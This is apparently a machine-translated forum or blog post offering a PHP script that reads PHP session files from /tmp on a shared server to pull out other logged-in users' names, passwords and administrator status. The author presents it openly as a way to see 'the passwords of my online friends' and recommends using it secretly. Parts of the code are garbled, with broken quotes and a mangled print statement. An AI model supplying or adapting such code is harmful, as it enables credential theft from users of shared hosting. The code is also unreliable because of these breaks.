unknown software exception php function to view session content

For example: name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1", we also know the location where the session is stored, and can upload files, so, at that time, After doing a little hack, I can see the passwords of my online friends at a glance, haha:
function submit1(){
global $username;
print "" ;
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "Are you too shady? Are you checking me too?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4) == "sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode("; ",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$username."""){
$ passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "User pen name:".$name[2]."Use mode:";
if($mode[1]==1)
print "Administratorelse
print "General user";
print"

Stealing other people's passwords is unethical, please do it less
";
$i=1;
break;
}}}}
if(!$i)
print "Is user:".$username." really online? If you are sure, Please come again, don’t type more spaces! ";
$d->close();
}
function login(){
?>



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When you see a user If you want to see his password while online, what should you do?


Let me tell you: just use this program.


Solemnly declare: This program is a free program, any losses caused by it I am not responsible.

However, this problem may be solved soon, so I’d better use it secretly without publicity.